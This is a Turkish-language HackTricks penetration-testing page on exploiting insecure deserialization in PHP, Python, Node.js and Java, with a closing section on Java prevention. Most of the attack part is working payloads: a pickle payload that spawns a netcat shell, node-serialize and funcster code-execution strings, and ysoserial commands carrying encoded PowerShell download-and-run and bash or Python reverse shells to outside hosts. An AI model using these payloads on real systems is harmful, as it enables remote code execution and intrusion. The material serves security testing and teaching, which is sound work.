hacktricks/pentesting-web/deserialization
2024-03-09 13:19:34 +00:00
..
nodejs-proto-prototype-pollution Translated to Turkish 2024-02-10 18:14:16 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated to Turkish 2024-02-10 18:14:16 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Turkish 2024-02-10 18:14:16 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Turkish 2024-02-10 18:14:16 +00:00
exploiting-__viewstate-parameter.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:49:08 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated to Turkish 2024-02-10 18:14:16 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Turkish 2024-02-10 18:14:16 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Turkish 2024-02-10 18:14:16 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-09 13:19:34 +00:00
php-deserialization-+-autoload-classes.md Translated to Turkish 2024-02-10 18:14:16 +00:00
python-yaml-deserialization.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00

Deserializasyon

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Serileştirme, bir nesneyi korunabilir bir formata dönüştürme yöntemi olarak anlaşılır ve nesnenin depolanması veya iletişim sürecinin bir parçası olarak iletilmesi amacıyla kullanılır. Bu teknik, nesnenin yapısını ve durumunu koruyarak nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır.

Deserileştirme ise serileştirme işlemini tersine çeviren bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp yeniden bir nesneye dönüştürmeyi içerir.

Deserileştirme tehlikeli olabilir çünkü potansiyel olarak saldırganların serileştirilmiş verileri manipüle ederek zararlı kodları yürütmesine veya nesne yeniden oluşturma sürecinde uygulamada beklenmeyen davranışlara neden olmasına izin verir.

PHP

PHP'de, serileştirme ve deserileştirme süreçlerinde belirli sihirli yöntemler kullanılır:

  • __sleep: Bir nesne serileştirilirken çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarının bir dizisini döndürmelidir. Genellikle bekleyen verileri kaydetmek veya benzer temizlik görevlerini gerçekleştirmek için kullanılır.
  • __wakeup: Bir nesne deserileştirilirken çağrılır. Serileştirme sırasında kaybedilmiş olabilecek herhangi bir veritabanı bağlantısını yeniden kurmak ve diğer yeniden başlatma görevlerini gerçekleştirmek için kullanılır.
  • __unserialize: Bu yöntem, bir nesne deserileştirilirken __wakeup (varsa) yerine çağrılır. Deserileştirme süreci üzerinde __wakeup'a kıyasla daha fazla kontrol sağlar.
  • __destruct: Bu yöntem, bir nesnenin yok edilmek üzere olduğu veya betiğin sona erdiği zaman çağrılır. Genellikle dosya tanıtıcılarını kapatma veya veritabanı bağlantıları gibi temizlik görevleri için kullanılır.
  • __toString: Bu yöntem, bir nesnenin bir dize olarak işlenmesine izin verir. İçindeki işlev çağrılarına dayalı olarak bir dosya okuma veya diğer görevler için kullanılabilir ve etkili bir şekilde nesnenin metinsel bir temsilini sağlar.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Sonuçlara baktığınızda, nesne deserialize edildiğinde __wakeup ve __destruct fonksiyonlarının çağrıldığını görebilirsiniz. Birçok öğreticide, bir özelliği yazdırmaya çalışırken __toString fonksiyonunun çağrıldığını bulabilirsiniz, ancak görünüşe göre artık böyle bir şey olmuyor.

{% hint style="warning" %} Eğer sınıfta __unserialize(array $data) yöntemi uygulanmışsa, nesne deserialize edilirken __wakeup() yerine bu yöntem çağrılır. Bu yöntem, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi unserialize etmenizi sağlar. Bu yöntemi kullanarak özellikleri unserialize edebilir ve deserialize işlemi sırasında yapılması gereken herhangi bir görevi gerçekleştirebilirsiniz.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Aşağıdaki PHP örneğini buradan okuyabilirsiniz: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, buradan https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf veya buradan https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Sınıfları

PHP otomatik yükleme işlevselliğini kötüye kullanarak keyfi php dosyalarını ve daha fazlasını yükleyebilirsiniz:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Referans Değerleri Serileştirme

Bir nedenle bir değeri başka bir değere referans olarak serileştirmek isterseniz:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (PHP için ysoserial)

PHPGGC, PHP deserializasyonlarını kötüye kullanmak için payload oluşturmanıza yardımcı olabilir.
Birçok durumda, uygulamanın kaynak kodunda bir deserializasyonu kötüye kullanmanın bir yolunu bulamayabilirsiniz, ancak harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.
Bu nedenle, sunucunun phpinfo()'sunu kontrol edin ve internet üzerinde (ve hatta PHPGGC'nin gadget'larında) kötüye kullanabileceğiniz olası bir gadget arayın.

phar:// metadata deserializasyonu

Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()** gibi fonksiyonları kullanarak**, phar protokolünü kullanarak bir dosya okurken bir deserializasyonu kötüye kullanmayı deneyebilirsiniz.
Daha fazla bilgi için aşağıdaki yazıyı okuyun:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Nesne unpickle olduğunda, __reduce__ fonksiyonu çalıştırılır.
Sömürüldüğünde, sunucu bir hata döndürebilir.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Pickle hapishanelerinden kaçmak hakkında daha fazla bilgi için şuna bakın:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Aşağıdaki sayfa, yamls python kütüphanelerindeki güvensiz deserializasyonu kötüye kullanma tekniğini sunar ve Pickle, PyYAML, jsonpickle ve ruamel.yaml için RCE deserializasyon yükü oluşturmak için kullanılabilecek bir araçla sona erer:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Sınıf Kirliliği (Python Prototip Kirliliği)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

JS Sihirli Fonksiyonlar

JS, PHP veya Python gibi "sihirli" fonksiyonlara sahip değildir, yani bir nesne oluşturmak için doğrudan çağrılmayacaklar. Ancak toString, valueOf, toJSON gibi fonksiyonlar vardır ki bunlar doğrudan çağrılmadan da sık kullanılırlar.
Bir deserializasyonu kötüye kullanarak, bu fonksiyonları başka kodları çalıştırmak için tehlikeye atabilirsiniz (potansiyel olarak prototip kirliliklerini kötüye kullanarak) ve çağrıldıklarında keyfi kodu çalıştırabilirsiniz.

Bir fonksiyonu doğrudan çağırmadan başka bir promise tarafından döndürülen bir nesneyi tehlikeye atarak bir fonksiyonu "sihirli" bir şekilde çağırmanın başka bir yolu vardır. Çünkü, eğer o dönüş nesnesini başka bir fonksiyon türünde "then" adında bir özellikli promise olarak dönüştürürseniz, başka bir promise tarafından döndürüldüğü için çalıştırılacaktır. Daha fazla bilgi için bu bağlantıyı takip edin.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ ve prototype kirliliği

Bu teknik hakkında bilgi edinmek isterseniz, aşağıdaki öğreticiye göz atın:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Bu kütüphane fonksiyonları seri hale getirmenizi sağlar. Örnek:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Serileştirilmiş nesne, aşağıdaki gibi görünecektir:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Örnekte görebileceğiniz gibi, bir işlev seri hale getirildiğinde _$$ND_FUNC$$_ bayrağı seri hale getirilen nesneye eklenir.

node-serialize/lib/serialize.js dosyasının içinde aynı bayrağı ve kodun nasıl kullandığını bulabilirsiniz.

Son kod parçasında görebileceğiniz gibi, bayrak bulunursa eval işlevini kullanarak işlevi seri hale getirir, yani temel olarak kullanıcı girişi eval işlevi içinde kullanılır.

Ancak, bir işlevi sadece seri hale getirmek, onu yürütmez çünkü kodun bir kısmının örneğimizde y.rce'yi çağırması gerekmektedir ve bu oldukça olasılık dışıdır.
Neyse ki, seri hale getirilmiş nesnenin seri hale getirildiğinde otomatik olarak işlevi yürütmesi için seri hale getirilmiş nesneye bazı parantezler ekleyerek seri hale getirilmiş nesneyi değiştirebilirsiniz.
Kodun son parçasında son parantezi ve unserialize işlevinin kodu otomatik olarak yürüteceğine dikkat edin:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Daha önce belirtildiği gibi, bu kütüphane _$$ND_FUNC$$_ sonrasındaki kodu alacak ve eval kullanarak çalıştıracaktır. Bu nedenle, kodu otomatik olarak çalıştırmak için fonksiyon oluşturma kısmını ve son parantezi silebilirsiniz ve aşağıdaki örnekte olduğu gibi yalnızca bir JS tek satırını çalıştırabilirsiniz:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Bu zafiyeti nasıl sömürüleceği hakkında daha fazla bilgiyi burada bulabilirsiniz.

funcster

funcster'ın dikkate değer bir yönü, standart yerleşik nesnelerin erişilemez olmasıdır; bunlar erişilebilir kapsamın dışında kalır. Bu kısıtlama, yerleşik nesneler üzerinde yöntem çağırmaya çalışan kodun çalışmasını engeller ve console.log() veya require(something) gibi komutlar kullanıldığında "ReferenceError: console is not defined" gibi istisnalara neden olur.

Ancak, bu kısıtlamayı aşmak için belirli bir yaklaşım kullanarak, global bağlam dahil olmak üzere tüm standart yerleşik nesnelere tam erişim yeniden sağlanabilir. Örneğin, aşağıdaki kod parçasını kullanarak erişim yeniden sağlanabilir:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Daha fazla bilgi için bu kaynağı okuyun](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).

serialize-javascript

serialize-javascript paketi yalnızca serielleştirme amaçları için tasarlanmış olup, yerleşik bir deserializasyon yeteneği bulunmamaktadır. Kullanıcılar, kendi deserializasyon yöntemlerini uygulamaktan sorumludur. Serileştirilmiş verilerin deserializasyonu için resmi örnekte eval'in doğrudan kullanımı önerilmektedir:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Eğer bu işlev nesneleri deserialize etmek için kullanılıyorsa, bunu kolayca istismar edebilirsiniz:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Daha fazla bilgi için bu kaynağı okuyun](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).

Cryo kütüphanesi

Bu kütüphaneyi kötü niyetli komutları yürütmek için nasıl kötüye kullanacağınız hakkında bilgiyi aşağıdaki sayfalarda bulabilirsiniz:

Java - HTTP

Java'da, serileştirme gerçekleştirilirken serileştirme geri çağrıları çalıştırılır. Bu yürütme, kötü niyetli yükler oluşturan saldırganlar tarafından kötü amaçlı eylemlerin potansiyel olarak gerçekleştirilmesine yol açabilir.

Parmak izleri

Beyaz Kutu

Kod tabanında potansiyel serileştirme açıklıklarını belirlemek için şunları arayın:

  • Serializable arabirimini uygulayan sınıflar.
  • java.io.ObjectInputStream, readObject, readUnshare işlevlerinin kullanımı.

Özellikle şunlara dikkat edin:

  • Harici kullanıcılar tarafından tanımlanan parametrelerle kullanılan XMLDecoder.
  • Özellikle XStream sürümü 1.46'ya kadar olan durumlarda XStream'in fromXML yöntemi, serileştirme sorunlarına duyarlı olduğundan.
  • ObjectInputStream ile readObject yöntemi.
  • readObject, readObjectNodData, readResolve veya readExternal gibi yöntemlerin uygulanması.
  • ObjectInputStream.readUnshared.
  • Serializable'ın genel kullanımı.

Siyah Kutu

Siyah kutu testi için, java serileştirilmiş nesneleri belirten belirli imzalar veya "Magic Bytes" arayın (ObjectInputStream'den kaynaklanan):

  • Onaltılık desen: AC ED 00 05.
  • Base64 deseni: rO0.
  • Content-type'ı application/x-java-serialized-object olarak ayarlanmış HTTP yanıt başlıkları.
  • Önceden sıkıştırma belirten onaltılık desen: 1F 8B 08 00.
  • Önceden sıkıştırma belirten Base64 deseni: H4sIA.
  • .faces uzantılı web dosyaları ve faces.ViewState parametresi. Bu desenleri bir web uygulamasında bulmak, Java JSF ViewState Deserialization hakkındaki yazıda ayrıntılı olarak incelenmesi gerektiğini göstermelidir.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Zafiyetli olup olmadığını kontrol et

Eğer bir Java Deserialization saldırısının nasıl çalıştığını öğrenmek istiyorsanız, Temel Java Deserialization, Java DNS Deserialization ve CommonsCollection1 Payload sayfalarına göz atmalısınız.

Beyaz Kutu Testi

Bilinen zafiyetlere sahip herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Exploit

ysoserial

Java deserializasyonlarını sömürmek için ana araç ysoserial (buradan indirebilirsiniz). Ayrıca, karmaşık komutları (örneğin, pipe'larla) kullanmanıza izin verecek olan ysoserial-modified kullanmayı düşünebilirsiniz.
Bu aracın odak noktasının ObjectInputStream sömürüsü olduğunu unutmayın.
Enjeksiyonun mümkün olup olmadığını test etmek için RCE bir payloaddan önce "URLDNS" payloadunu kullanmayı tercih ederim. Her ne olursa olsun, "URLDNS" payloadunun çalışmadığı ancak başka bir RCE payloadunun çalıştığı durumlar olabilir.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

java.lang.Runtime.exec() için bir payload oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi özel karakterleri, komutları yürütmek için "$()" veya hatta komuta boşluklarla ayrılmış argümanlar geçmek için kullanamazsınız (echo -n "hello world" yapabilirsiniz, ancak python2 -c 'print "Hello world"' yapamazsınız). Payload'ı doğru bir şekilde kodlamak için bu web sitesini kullanabilirsiniz.

Zayıf noktalı web sayfasında tüm olası kod yürütme payload'larını oluşturmak ve test etmek için aşağıdaki betiği kullanabilirsiniz:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Daha fazla saldırı oluşturmak için https://github.com/pwntester/SerialKillerBypassGadgetCollection adresindeki aracı ysoserial ile birlikte kullanabilirsiniz. Aracın sunum slaytlarında daha fazla bilgi bulunmaktadır: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec, Java'da farklı Json ve Yml serileştirme kütüphanelerini sömürmek için payload oluşturmak için kullanılabilir.
Projenin derlenmesi için pom.xml dosyasına aşağıdaki bağımlılıkların eklenmesi gerekmektedir:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Maven'ı kurun ve projeyi derleyin:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Lablar

Neden

Java, çeşitli amaçlar için seri hale getirmeyi (serialization) sıkça kullanır:

  • HTTP istekleri: Serialization, parametrelerin, ViewState'in, çerezlerin vb. yönetiminde yaygın olarak kullanılır.
  • RMI (Remote Method Invocation): Tamamen serialization'a dayanan Java RMI protokolü, Java uygulamalarında uzaktan iletişimin temelidir.
  • HTTP üzerinden RMI: Bu yöntem, serialization'ı tüm nesne iletişimleri için kullanan Java tabanlı kalın istemci web uygulamaları tarafından yaygın olarak kullanılır.
  • JMX (Java Management Extensions): JMX, nesnelerin ağ üzerinden iletilmesi için serialization kullanır.
  • Özel Protokoller: Java'da, standart uygulama, ilerleyen saldırı örneklerinde gösterileceği gibi, ham Java nesnelerinin iletilmesini içerir.

Önleme

Geçici nesneler

Serializable arayüzünü uygulayan bir sınıf, sınıf içinde seri hale getirilmemesi gereken herhangi bir nesneyi transient olarak işaretleyebilir. Örneğin:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializable uygulaması gereken bir sınıfın serileştirilmesinden kaçının

Sınıf hiyerarşisi nedeniyle belirli nesnelerin Serializable arabirimini uygulaması gerektiği durumlarda, istenmeyen deserializasyon riski vardır. Bunun önüne geçmek için, aşağıda gösterildiği gibi sürekli bir istisna fırlatan final bir readObject() yöntemi tanımlayarak bu nesnelerin deserializasyonu engellenmelidir:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java'da Deserializasyon Güvenliğini Geliştirmek

Deserializasyon süreçlerini güvence altına almak için java.io.ObjectInputStream'i özelleştirmek pratik bir yaklaşımdır. Bu yöntem aşağıdaki durumlarda uygundur:

  • Deserializasyon kodu sizin kontrolünüz altındadır.
  • Deserializasyon için beklenen sınıflar bilinmektedir.

Deserializasyonu yalnızca izin verilen sınıflarla sınırlamak için resolveClass() yöntemini geçersiz kılın. Bu, aşağıdaki örnekte olduğu gibi, deserializasyonu yalnızca Bicycle sınırlamasına izin veren sınıflar dışında herhangi bir sınıfın deserializasyonunu engeller:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Güvenlik Geliştirmesi için Bir Java Ajanı Kullanma, kod değişikliği mümkün olmadığında bir yedek çözüm sunar. Bu yöntem, özellikle zararlı sınıfları kara listelemek için bir JVM parametresi kullanır:

-javaagent:name-of-agent.jar

Deserializasyonu dinamik olarak güvence altına almanın bir yolunu sağlar, hemen kod değişikliklerinin yapılamadığı ortamlar için idealdir.

rO0 by Contrast Security örneğini kontrol edin.

Serileştirme Filtrelerini Uygulama: Java 9, ObjectInputFilter arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilen nesnelerin deserialize edilmeden önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağlar. Bu filtreler, genel olarak veya akış başına uygulanabilir ve deserialize işlemi üzerinde granüler bir kontrol sunar.

Serileştirme filtrelerini kullanmak için, tüm deserialize işlemlerine uygulanan bir global filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Geliştirilmiş Güvenlik için Harici Kütüphanelerden Yararlanma: NotSoSerial, jdeserialize ve Kryo gibi kütüphaneler, Java deserializasyonunu kontrol etmek ve izlemek için gelişmiş özellikler sunar. Bu kütüphaneler, sınıfları beyaz liste veya siyah liste olarak belirleme, deserializasyondan önce seri hale getirilmiş nesneleri analiz etme ve özel seri hale getirme stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.

  • NotSoSerial, güvenilmeyen kodların yürütülmesini engellemek için deserializasyon süreçlerini engeller.
  • jdeserialize, seri hale getirilmiş Java nesnelerinin deserializasyonu olmadan analiz edilmesine olanak sağlar ve potansiyel olarak zararlı içeriği belirlemeye yardımcı olur.
  • Kryo, hız ve verimliliği vurgulayan alternatif bir seri hale getirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir seri hale getirme stratejileri sunar.

Referanslar

JNDI Enjeksiyonu ve log4Shell

JNDI Enjeksiyonu'nun ne olduğunu, RMI, CORBA ve LDAP aracılığıyla nasıl kötüye kullanılabileceğini ve log4shell'in nasıl sömürülebileceğini (ve bu zafiyetin bir örneğini) aşağıdaki sayfada bulabilirsiniz:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

